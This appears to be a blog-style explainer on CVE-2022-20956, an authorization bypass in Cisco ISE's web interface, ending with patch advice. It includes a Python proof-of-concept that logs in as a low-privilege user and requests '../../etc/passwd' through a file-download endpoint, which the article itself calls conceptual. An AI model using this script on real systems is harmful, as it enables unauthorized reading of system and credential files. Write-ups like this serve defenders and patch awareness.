CVE-2022-20956 - How an Attacker Can Bypass Authorization in Cisco ISE and Access System Files

In October 2022, Cisco published an advisory (Original Reference) about a serious vulnerability impacting their Identity Services Engine (ISE). Known as CVE-2022-20956, this flaw allows a remote, authenticated attacker to bypass normal authorization controls and access restricted system files through the web management interface. In this article, you’ll get a clear breakdown of what made this vulnerability possible, how it works, and how attackers could actually abuse it—plus code samples and technical details.

What Is Cisco Identity Services Engine (ISE)?

Cisco ISE is a widely used network security policy platform. It's the heartbeat of network access control for many organizations, managing everything from user authentication to network device authorization. Quite often, it has direct access to sensitive systems and credentials.

The Core Issue

In certain versions of Cisco ISE, the web-based management interface doesn’t properly enforce access controls on some system files. This means that even if someone is logged in as a low-privilege user, they may be able to craft specific HTTP requests that let them "sneak around" permissions and get their hands on files that should be off-limits.

> In simple terms: An attacker with *any* valid login to vulnerable Cisco ISE can trick the interface into revealing (or even deleting) protected system files.

Why did this happen?

The web interface of the affected ISE versions failed to properly check which users should be allowed to access certain file endpoints. That’s improper access control, one of the OWASP Top Ten security risks.

The Attacker's Requirements

- Authentication: The attacker needs a valid user session (but can be a low-privilege user, e.g., a helpdesk technician account).

Craft a Malicious HTTP Request

The attacker creates an HTTP request targeting file management endpoints with manipulated parameters pointing to system files.

Bypass Authorization

Because of the flaw, the request isn’t properly checked, and the system allows unauthorized file access—listing, downloading, or deleting them.

Proof-of-Concept: Crafting the Exploit Request

Let's see a sample Python script that demonstrates the vulnerability. This code is for educational purposes only—do not use it on networks you do not own or have explicit permission to test.

import requests

# Target Cisco ISE box
TARGET = "https://cisco-ise.example.com";
USERNAME = "lowprivuser"
PASSWORD = "userpassword"
FILE_TO_DOWNLOAD = "../../etc/passwd"  # Try to read the Linux password file

session = requests.Session()
session.verify = False  # Disable SSL check for demo purposes

# Authenticate and get session cookie (may differ depending on ISE setup)
login_data = {
    'username': USERNAME,
    'password': PASSWORD
}
auth = session.post(f"{TARGET}/admin/login.jsp", data=login_data)

# Craft malicious request
exploit_url = f"{TARGET}/admin/fileDownload?filename={FILE_TO_DOWNLOAD}"

# Send exploit request
r = session.get(exploit_url)
if r.status_code == 200:
    print("Exploit successful! Retrieved file contents:")
    print(r.text)
else:
    print("Exploit failed or file not accessible.")

> Note: Actual endpoint URLs and parameter names may differ based on ISE version and configuration. The above is a *conceptual* example.

User data stored on the ISE device

An attacker could use these files to launch further attacks, gain persistence, or cover their tracks by deleting logs.

Who Is Affected?

This vulnerability impacts certain releases of Cisco ISE. To get the full scope of affected versions and available patches, always refer to the original Cisco advisory:
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ise-access-contol-EeufSUCx

Mitigation and Patches

Cisco has released software updates that close this access control gap.

Conclusion

CVE-2022-20956 is a stark reminder of how even authenticated interfaces can be vulnerable if access controls aren’t carefully implemented. If you run Cisco ISE, don’t delay: patch immediately, restrict interface access, and audit user privileges. Always keep an eye out for security advisories like this—today’s low-privilege user might be tomorrow’s attacker.

*Stay safe, and always follow best security practices!*

Timeline

Published on: 11/04/2022 18:15:00 UTC
Last modified on: 11/08/2022 15:54:00 UTC